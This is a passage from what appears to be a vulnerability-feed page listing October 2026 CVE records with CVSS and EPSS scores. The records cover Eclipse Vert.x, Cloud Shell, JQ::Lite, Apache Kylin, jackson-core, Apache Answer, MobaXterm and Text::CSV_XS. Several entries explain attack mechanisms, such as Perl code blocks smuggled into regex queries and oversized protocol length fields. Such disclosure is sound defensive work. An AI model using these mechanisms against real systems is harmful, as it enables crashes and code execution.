NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102477&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a gRPC endpoint does have a configurable per message maximum size in bytes, however the maximum size applies to the received bytes. When applied to a compressed message, this only applies to the compressed size and not the actual size of the uncompressed content. This can be used to force a gRPC endpoint to allocate more bytes than the value defined by the configuration, making the endpoint vulnerable to compression bomb attacks.



The impacted component is io.vertx:vertx-gprc-server.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the PostgreSQL message decoder reads the 4-byte message length field from the...
https://kevwire.com/record/CVE-2026-103223
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the PostgreSQL message decoder reads the 4-byte message length field from the... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the PostgreSQL message decoder reads the 4-byte message length field from the PostgreSQL wire protocol without any maximum validation. A malicious, compromised, or man-in-the-middle PostgreSQL server can send a message header with the length field set to an extremely large value (up to Integer.MAX_VALUE), causing the decoder to accumulate subsequent TCP data into a composite buffer without bound, leading to unbounded memory allocation on the client and an out-of-memory crash. This occurs before authentication completes.



The impacted component is io.vertx:vertx-pg-client.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103223).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103223&date=2026-10-25).
Sources:
NVD CVE-2026-103223: https://nvd.nist.gov/vuln/detail/CVE-2026-103223
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-hm2j-xp3c-jff2
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103223&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the PostgreSQL message decoder reads the 4-byte message length field from the PostgreSQL wire protocol without any maximum validation. A malicious, compromised, or man-in-the-middle PostgreSQL server can send a message header with the length field set to an extremely large value (up to Integer.MAX_VALUE), causing the decoder to accumulate subsequent TCP data into a composite buffer without bound, leading to unbounded memory allocation on the client and an out-of-memory crash. This occurs before authentication completes.



The impacted component is io.vertx:vertx-pg-client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the MySQL message decoder aggregates inbound multi-packet payloads into a...
https://kevwire.com/record/CVE-2026-103224
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the MySQL message decoder aggregates inbound multi-packet payloads into a... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the MySQL message decoder aggregates inbound multi-packet payloads into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle MySQL server can send a continuous stream of packets with the maximum payload length (0xFFFFFF), preventing the end-of-message condition from being reached, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.



The impacted component is io.vertx:vertx-mysql-client.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103224).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103224&date=2026-10-25).
Sources:
NVD CVE-2026-103224: https://nvd.nist.gov/vuln/detail/CVE-2026-103224
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-75hv-9xj3-3cr8
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103224&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the MySQL message decoder aggregates inbound multi-packet payloads into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle MySQL server can send a continuous stream of packets with the maximum payload length (0xFFFFFF), preventing the end-of-message condition from being reached, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.



The impacted component is io.vertx:vertx-mysql-client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Cross-Site WebSocket Hijacking vulnerability in Cloud Shell prior to 2026-07-22 on Google Cloud Platform allows an unauthenticated attacker to hijack an active Cloud Shell...
https://kevwire.com/record/CVE-2026-85267
A Cross-Site WebSocket Hijacking vulnerability in Cloud Shell prior to 2026-07-22 on Google Cloud Platform allows an unauthenticated attacker to hijack an active Cloud Shell... (Oct 20, 2026).
A Cross-Site WebSocket Hijacking vulnerability in Cloud Shell prior to 2026-07-22 on Google Cloud Platform allows an unauthenticated attacker to hijack an active Cloud Shell session and exfiltrate the user's OAuth access token using a cross-origin WebSocket request.


This vulnerability was patched on 22 July 2026, and no customer action is needed.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85267).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85267&date=2026-10-25).
Sources:
NVD CVE-2026-85267: https://nvd.nist.gov/vuln/detail/CVE-2026-85267
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85267&date=2026-10-25
A Cross-Site WebSocket Hijacking vulnerability in Cloud Shell prior to 2026-07-22 on Google Cloud Platform allows an unauthenticated attacker to hijack an active Cloud Shell session and exfiltrate the user's OAuth access token using a cross-origin WebSocket request.


This vulnerability was patched on 22 July 2026, and no customer action is needed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JQ::Lite versions before 2.51 for Perl execute Perl code embedded in a query's regular expression by compiling it with string eval.
https://kevwire.com/record/CVE-2026-78497
JQ::Lite versions before 2.51 for Perl execute Perl code embedded in a query's regular expression by compiling it with string eval. (Oct 18, 2026).
JQ::Lite versions before 2.51 for Perl execute Perl code embedded in a query's regular expression by compiling it with string eval.

The pattern given to test(), match(), or the match and =~ conditions of select() is placed in a `qr'...'` literal and compiled as source text, so a `(?{ ... })` code block in it runs without `use re 'eval'`. Single quotes in the pattern are escaped, but a code block runs in place and needs none.

An attacker who supplies a query, or text that an application inserts into the pattern of one, can execute arbitrary Perl code in the calling process.
CVSS 8.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78497).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78497&date=2026-10-25).
Sources:
NVD CVE-2026-78497: https://nvd.nist.gov/vuln/detail/CVE-2026-78497
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78497&date=2026-10-25
JQ::Lite versions before 2.51 for Perl execute Perl code embedded in a query's regular expression by compiling it with string eval.

The pattern given to test(), match(), or the match and =~ conditions of select() is placed in a `qr'...'` literal and compiled as source text, so a `(?{ ... })` code block in it runs without `use re 'eval'`. Single quotes in the pattern are escaped, but a code block runs in place and needs none.

An attacker who supplies a query, or text that an application inserts into the pattern of one, can execute arbitrary Perl code in the calling process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of SQL Black List to an Unauthorized Actor vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-69080
Exposure of SQL Black List to an Unauthorized Actor vulnerability in Apache Kylin. (Oct 16, 2026).
Exposure of SQL Black List to an Unauthorized Actor vulnerability in Apache Kylin.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69080).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69080&date=2026-10-25).
Sources:
NVD CVE-2026-69080: https://nvd.nist.gov/vuln/detail/CVE-2026-69080
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69080&date=2026-10-25
Exposure of SQL Black List to an Unauthorized Actor vulnerability in Apache Kylin.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of unauthorized cross-project job manipulation vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-69077
Exposure of unauthorized cross-project job manipulation vulnerability in Apache Kylin. (Oct 16, 2026).
Exposure of unauthorized cross-project job manipulation vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69077).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69077&date=2026-10-25).
Sources:
NVD CVE-2026-69077: https://nvd.nist.gov/vuln/detail/CVE-2026-69077
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69077&date=2026-10-25
Exposure of unauthorized cross-project job manipulation vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Job Discard to an Unauthorized Actor vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-69076
Exposure of Job Discard to an Unauthorized Actor vulnerability in Apache Kylin. (Oct 16, 2026).
Exposure of Job Discard to an Unauthorized Actor vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69076).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69076&date=2026-10-25).
Sources:
NVD CVE-2026-69076: https://nvd.nist.gov/vuln/detail/CVE-2026-69076
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69076&date=2026-10-25
Exposure of Job Discard to an Unauthorized Actor vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### StreamReadConstraints.maxNameLength (default 50,000 characters) is intended to bound how much memory a single JSON Object property name can consume while being parsed,...
https://kevwire.com/record/CVE-2026-68498
StreamReadConstraints.maxNameLength (default 50,000 characters) is intended to bound how much memory a single JSON Object property name can consume while being parsed,... (Oct 16, 2026).
StreamReadConstraints.maxNameLength (default 50,000 characters) is intended to bound how much memory a single JSON Object property name can consume while being parsed, independently of the much larger maxStringLength (default 100,000,000 characters) that bounds ordinary string values. For parsers built over character input — Reader, String or char[] sources, all served by ReaderBasedJsonParser — that bound is not applied while the name is being accumulated. The code path instead re-uses the string-value length check, which is roughly 2000x larger by default.



In the character-input slow path, ReaderBasedJsonParser._parseName2() accumulates the name into the TextBuffer and, when a segment fills, calls TextBuffer.finishCurrentSegment(), which validates only maxStringLength. The correct check, StreamReadConstraints.validateNameLength(int), is reached afterwards in CharsToNameCanonicalizer.findSymbol(), once the entire name has been scanned to its closing quote. By that point the full name — up to maxStringLength characters — has already been buffered in memory.



A remote attacker who can have a single sufficiently long JSON Object property name parsed through this path can force allocation on the order of 100,000,000 characters (approximately 200 MB, with segment bookkeeping pushing real peak usage higher) before any StreamConstraintsException is thrown, instead of the approximately 50,000-character (about 100 KB) bound the API promises. Repeating this across concurrent requests can exhaust the heap and crash the process. No authentication or user interaction is required. Because StreamReadConstraints.maxDocumentLength is disabled by default (-1), nothing else bounds the token first, so the issue is exploitable under default configuration.



Byte-input parsers are not affected: UTF8StreamJsonParser, UTF8DataInputJsonParser and the non-blocking (async) parsers re-validate maxNameLength on every growth of the name-decode buffer via ParserBase._growNameDecodeBuffer(), rejecting an oversized name after allocating only tens of kilobytes. Applications are exposed when untrusted JSON is parsed from a String, Reader or char[] — for example an HTTP request body already
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68498).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68498&date=2026-10-25).
Sources:
NVD CVE-2026-68498: https://nvd.nist.gov/vuln/detail/CVE-2026-68498
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68498&date=2026-10-25
StreamReadConstraints.maxNameLength (default 50,000 characters) is intended to bound how much memory a single JSON Object property name can consume while being parsed, independently of the much larger maxStringLength (default 100,000,000 characters) that bounds ordinary string values. For parsers built over character input — Reader, String or char[] sources, all served by ReaderBasedJsonParser — that bound is not applied while the name is being accumulated. The code path instead re-uses the string-value length check, which is roughly 2000x larger by default.



In the character-input slow path, ReaderBasedJsonParser._parseName2() accumulates the name into the TextBuffer and, when a segment fills, calls TextBuffer.finishCurrentSegment(), which validates only maxStringLength. The correct check, StreamReadConstraints.validateNameLength(int), is reached afterwards in CharsToNameCanonicalizer.findSymbol(), once the entire name has been scanned to its closing quote. By that point the full name — up to maxStringLength characters — has already been buffered in memory.



A remote attacker who can have a single sufficiently long JSON Object property name parsed through this path can force allocation on the order of 100,000,000 characters (approximately 200 MB, with segment bookkeeping pushing real peak usage higher) before any StreamConstraintsException is thrown, instead of the approximately 50,000-character (about 100 KB) bound the API promises. Repeating this across concurrent requests can exhaust the heap and crash the process. No authentication or user interaction is required. Because StreamReadConstraints.maxDocumentLength is disabled by default (-1), nothing else bounds the token first, so the issue is exploitable under default configuration.



Byte-input parsers are not affected: UTF8StreamJsonParser, UTF8DataInputJsonParser and the non-blocking (async) parsers re-validate maxNameLength on every growth of the name-decode buffer via ParserBase._growNameDecodeBuffer(), rejecting an oversized name after allocating only tens of kilobytes. Applications are exposed when untrusted JSON is parsed from a String, Reader or char[] — for example an HTTP request body already read into a String — rather than from raw UTF-8 bytes.



This issue affects com.fasterxml.jackson.core:jackson-core from 2.16.0 and tools.jackson.core:jackson-core from 3.0.0. Releases before 2.16.0 are not affected, because StreamReadConstraints.maxNameLength was first introduced in jackson-core 2.16.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insertion of Sensitive Information into Log File vulnerability in Apache Answer.
https://kevwire.com/record/CVE-2026-64943
Insertion of Sensitive Information into Log File vulnerability in Apache Answer. (Oct 19, 2026).
Insertion of Sensitive Information into Log File vulnerability in Apache Answer.



This issue affects Apache Answer: through 2.0.2.

Full API keys are written to application logs on every authenticated request, allowing anyone with log-read access to recover and replay active bearer credentials.


Users are recommended to upgrade to version 2.0.3, which fixes the issue.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-64943).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-64943&date=2026-10-25).
Sources:
NVD CVE-2026-64943: https://nvd.nist.gov/vuln/detail/CVE-2026-64943
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-64943&date=2026-10-25
Insertion of Sensitive Information into Log File vulnerability in Apache Answer.



This issue affects Apache Answer: through 2.0.2.

Full API keys are written to application logs on every authenticated request, allowing anyone with log-read access to recover and replay active bearer credentials.


Users are recommended to upgrade to version 2.0.3, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MobaXterm Personal Edition (Portable) 26.4 GA extracts the CygUtils64.plugin file without first verifying its integrity.
https://kevwire.com/record/CVE-2026-112161
MobaXterm Personal Edition (Portable) 26.4 GA extracts the CygUtils64.plugin file without first verifying its integrity. (Oct 19, 2026).
MobaXterm Personal Edition (Portable) 26.4 GA extracts the CygUtils64.plugin file without first verifying its integrity. A local attacker with write permissions on this file can replace the ‘bin/cygwin1.dll’ library contained within it with a malicious library. When the victim opens a Local Shell session or uses a Cygwin-based function, the application extracts the component and loads the tampered library, executing code with the victim’s permissions. Exploitation requires write access to the plugin and does not, in itself, involve privilege escalation.
CVSS 8.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112161).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112161&date=2026-10-25).
Sources:
NVD CVE-2026-112161: https://nvd.nist.gov/vuln/detail/CVE-2026-112161
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112161&date=2026-10-25
MobaXterm Personal Edition (Portable) 26.4 GA extracts the CygUtils64.plugin file without first verifying its integrity. A local attacker with write permissions on this file can replace the ‘bin/cygwin1.dll’ library contained within it with a malicious library. When the victim opens a Local Shell session or uses a Cygwin-based function, the application extracts the component and loads the tampered library, executing code with the victim’s permissions. Exploitation requires write access to the plugin and does not, in itself, involve privilege escalation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Text::CSV_XS versions before 1.65 for Perl return a 0xFF byte that is not in the input for an empty last field followed by a lone CR in parse.
https://kevwire.com/record/CVE-2026-110759
Text::CSV_XS versions before 1.65 for Perl return a 0xFF byte that is not in the input for an empty last field followed by a lone CR in parse. (Oct 16, 2026).
Text::CSV_XS versions before 1.65 for Perl return a 0xFF byte that is not in the input for an empty last field followed by a lone CR in parse.

When the input to parse ends in a separator and a lone CR, the parser treats the end of the input as the next character and stores the end-of-file marker in the field as the byte 0xFF. With binary set, parse("a,\r") returns the fields "a" and "\xFF". On UTF-8 flagged input the last field is a UTF-8 flagged string holding that lone byte, which is malformed UTF-8. The same input with a non-empty last field is rejected as an error.

A CRLF file read line by line and chomped ends this way when its last column is empty, so the application receives a byte that is not in its input.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110759).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110759&date=2026-10-25).
Sources:
NVD CVE-2026-110759: https://nvd.nist.gov/vuln/detail/CVE-2026-110759
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110759&date=2026-10-25
Text::CSV_XS versions before 1.65 for Perl return a 0xFF byte that is not in the input for an empty last field followed by a lone CR in parse.

When the input to parse ends in a separator and a lone CR, the parser treats the end of the input as the next character and stores the end-of-file marker in the field as the byte 0xFF. With binary set, parse("a,\r") returns the fields "a" and "\xFF". On UTF-8 flagged input the last field is a UTF-8 flagged string holding that lone byte, which is malformed UTF-8. The same input with a non-empty last field is rejected as an error.

A CRLF file read line by line and chomped ends this way when its last column is empty, so the application receives a byte that is not in its input.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Text::CSV_XS versions before 1.65 for Perl read before the start of an all-blank field under allow_whitespace in strip_trail_whitespace.
https://kevwire.com/record/CVE-2026-110758
Text::CSV_XS versions before 1.65 for Perl read before the start of an all-blank field under allow_whitespace in strip_trail_whitespace. (Oct 16, 2026).
Text::CSV_XS versions before 1.65 for Perl read before the start of an all-blank field under allow_whitespace in strip_trail_whitespace.

Under allow_whitespace, strip_trail_whitespace removes trailing spaces and tabs from each unquoted field without stopping at the start of the field. For a field of only blanks it reads the byte before the field's heap buffer. If that byte is also a space or tab, it may be zeroed and the walk continue backwards, depending on what the allocator placed there.

Leading blanks are normally skipped before a field is stored, but an all-blank field still arrives after a leading escape_char that differs from quote_char, or as a quoted field in getline when its line ends in two CRs.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110758).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110758&date=2026-10-25).
Sources:
NVD CVE-2026-110758: https://nvd.nist.gov/vuln/detail/CVE-2026-110758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110758&date=2026-10-25
Text::CSV_XS versions before 1.65 for Perl read before the start of an all-blank field under allow_whitespace in strip_trail_whitespace.

Under allow_whitespace, strip_trail_whitespace removes trailing spaces and tabs from each unquoted field without stopping at the start of the field. For a field of only blanks it reads the byte before the field's heap buffer. If that byte is also a space or tab, it may be zeroed and the walk continue backwards, depending on what the allocator placed there.

Leading blanks are normally skipped before a field is stored, but an all-blank field still arrives after a leading escape_char that differs from quote_char, or as a quoted field in getline when its line ends in two CRs.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Text::CSV_XS versions before 1.65 for Perl allow record splitting by writing strings used as numbers without quotes in combine.
https://kevwire.com/record/CVE-2026-110757
Text::CSV_XS versions before 1.65 for Perl allow record splitting by writing strings used as numbers without quotes in combine. (Oct 16, 2026).
Text::CSV_XS versions before 1.65 for Perl allow record splitting by writing strings used as numbers without quotes in combine.

combine and print do not check whether a field needs quotes when its value has Perl's integer or numeric flag set. Perl sets these flags on a string used in a numeric operation when it parses as a number, which allows leading and trailing whitespace. With binary set, as csv does by default, "12\n" passes a check such as $qty > 0 and is then written unquoted with its newline.

A value validated as a number can end the record early and turn the fields after it into a separate row.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110757).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110757&date=2026-10-25).
Sources:
NVD CVE-2026-110757: https://nvd.nist.gov/vuln/detail/CVE-2026-110757
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110757&date=2026-10-25
Text::CSV_XS versions before 1.65 for Perl allow record splitting by writing strings used as numbers without quotes in combine.

combine and print do not check whether a field needs quotes when its value has Perl's integer or numeric flag set. Perl sets these flags on a string used in a numeric operation when it parses as a number, which allows leading and trailing whitespace. With binary set, as csv does by default, "12\n" passes a check such as $qty > 0 and is then written unquoted with its newline.

A value validated as a number can end the record early and turn the fields after it into a separate row.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Text::CSV_XS versions before 1.65 for Perl drop the end of a record and its line ending when a UTF-8 flagged field precedes invalid UTF-8 bytes in print.
https://kevwire.com/record/CVE-2026-110756
Text::CSV_XS versions before 1.65 for Perl drop the end of a record and its line ending when a UTF-8 flagged field precedes invalid UTF-8 bytes in print. (Oct 16, 2026).
Text::CSV_XS versions before 1.65 for Perl drop the end of a record and its line ending when a UTF-8 flagged field precedes invalid UTF-8 bytes in print.

When a record contains a UTF-8 flagged field, print holds back trailing bytes that are not valid UTF-8 at each buffer flush, so that a character split across two flushes can be completed. Nothing writes the held-back bytes after the record's final flush. A record whose last field ends in such a byte loses it, any closing quote and the line ending, while print still returns true. combine is not affected.

The next record is written onto the same line, or, when the last field was quoted, the missing closing quote makes a reader take every following record as part of that field.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110756).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110756&date=2026-10-25).
Sources:
NVD CVE-2026-110756: https://nvd.nist.gov/vuln/detail/CVE-2026-110756
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110756&date=2026-10-25
Text::CSV_XS versions before 1.65 for Perl drop the end of a record and its line ending when a UTF-8 flagged field precedes invalid UTF-8 bytes in print.

When a record contains a UTF-8 flagged field, print holds back trailing bytes that are not valid UTF-8 at each buffer flush, so that a character split across two flushes can be completed. Nothing writes the held-back bytes after the record's final flush. A record whose last field ends in such a byte loses it, any closing quote and the line ending, while print still returns true. combine is not affected.

The next record is written onto the same line, or, when the last field was quoted, the missing closing quote makes a reader take every following record as part of that field.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

